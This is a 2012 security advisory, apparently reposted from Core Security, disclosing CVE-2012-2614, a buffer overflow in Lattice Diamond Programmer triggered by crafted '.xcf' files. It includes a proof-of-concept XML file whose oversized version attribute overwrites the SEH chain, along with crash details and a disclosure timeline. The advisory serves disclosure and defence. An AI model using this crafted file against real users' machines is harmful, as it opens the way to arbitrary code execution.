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Lattice Diamond Programmer Buffer Overflow
Lattice Diamond Programmer Buffer Overflow 1. *Advisory Information* Title: Lattice Diamond Programmer Buffer Overflow Advisory ID: CORE-2012-0530 Advisory URL: http://www.coresecurity.com/content/lattice-diamond-programmer-buffer-overflow Date published: 2012-06-21 Date of last update: 2012-06-21 Vendors contacted: Lattice Semiconductor Corporation Release mode: User release 2. *Vulnerability Information* Class: Buffer overflow [CWE-119] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2012-2614 3. *Vulnerability Description* Lattice Diamond Programmer [1] is vulnerable to client-side attacks, which can be exploited by remote attackers to run arbitrary code by sending specially crafted '.xcf' files. 4. *Vulnerable packages* . Diamond Programmer 1.4.2 for Windows. . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Vendor did not provide this information. 6. *Vendor Information, Solutions and Workarounds* The vendor did not reply any contact email sent by Core Security Advisories Team. Contact Lattice for further information about this issue [2]. Given that this is a client-side vulnerability, affected users should not open untrusted '.xcf' files using 'programmer.exe' nor 'deployment.exe'. 7. *Credits* This vulnerability was discovered and researched by Daniel Kazimirow and Ricardo Narvaja from Core Security Exploit Team. 8. *Technical Description / Proof of Concept Code* This vulnerability can be exploited by opening a specially crafted '.xcf' file from 'programmer.exe'. The module 'deployment.exe' may also be vulnerable, but this possiblity was not researched any further. The XML file showed at [Sec. 8.1] crashes 'programmer.exe' at the address: /----- 00FB5E20 8A0402 MOV AL,BYTE PTR DS:[EDX+EAX] 00FB5E23 C2 0400 RETN 4 -----/ and overwrites the SEH chain (there is no SEH protection) with '41414141', which is proof that the buffer was overflown. This means that there is a buffer overflow vulnerability, and 'EIP' can be set to an arbitrary value, allowing an attacker to take control of the machine. 8.1. *Proof of Concept* /----- <?xml version='1.0' encoding='utf-8' ?> <!DOCTYPE ispXCF SYSTEM "IspXCF.dtd" > <ispXCF version="8.9.09.09999999999AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> <Comment></Comment> <Chain> <Comm>JTAG</Comm> <Device> <Pos>1</Pos> <Vendor>Lattice</Vendor> <Family>ispLSI 5000VE</Family> <Name>5256VE</Name> <IDCode>0x00368043</IDCode> <Package>128-pin TQFP</Package> <PON>ispLSI5256VE-XXLT128</PON> <Bypass> <InstrLen>5</InstrLen> <InstrVal>11111</InstrVal> <BScanLen>1</BScanLen> <BScanVal>0</BScanVal> </Bypass> <File>C:\ispTOOLS\ispvmsystem\TutorialU6vea.jed</File> <FileTime>05/17/02 18:15:33</FileTime> <JedecChecksum>0xF9BD</JedecChecksum> <Operation>Erase,Program,Verify</Operation> <Option> <SVFVendor>JTAG STANDARD</SVFVendor> <IOState>HighZ</IOState> <IOVectorData>0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</IOVectorData> <Reinitialize value="TRUE"/> <OverideUES value="TRUE"/> <TCKFrequency>1.000000 MHz</TCKFrequency> <SVFProcessor>ispVM</SVFProcessor> <Usercode>0x0000F9BD</Usercode> </Option> </Device> </Chain> <ProjectOptions> <Program>SEQUENTIAL</Program> <Process>ENTIRED CHAIN</Process> <OperationOverride>No Override</OperationOverride> <StartTAP>TLR</StartTAP> <EndTAP>TLR</EndTAP> <DeGlitch value="TRUE"/> <VerifyUsercode value="TRUE"/> <PinSetting> TMS LOW; TCK LOW; TDI LOW; TDO LOW; TRST ABSENT; CableEN HIGH; </PinSetting> </ProjectOptions> </ispXCF> -----/ 9. *Report Timeline* . 2012-05-30: Core Security Technologies notifies Lattice Semiconductor Corporation of the vulnerability. Publication date is set for June 26th, 2012. . 2012-06-06: Core notifies Lattice Semiconductor Corporation of the vulnerability. . 2012-06-11: Core notifies that the previous emails were not answered and requests for a reply. . 2012-06-11: Vendor asks Core to remove their email addresses from Core's mailing lists. . 2012-06-11: Core requests an email address or any other security contact information at Lattice in order to begin discussions in regards to the vulnerability. No reply was received. . 2012-06-21: Advisory CORE-2012-0530 published. 10. *References* [1] http://www.latticesemi.com/products/designsoftware/diamond/index.cfm. [2] Lattice technical support, mailto:techsupport@latticesemi.com. # 0day.today [2024-07-01] #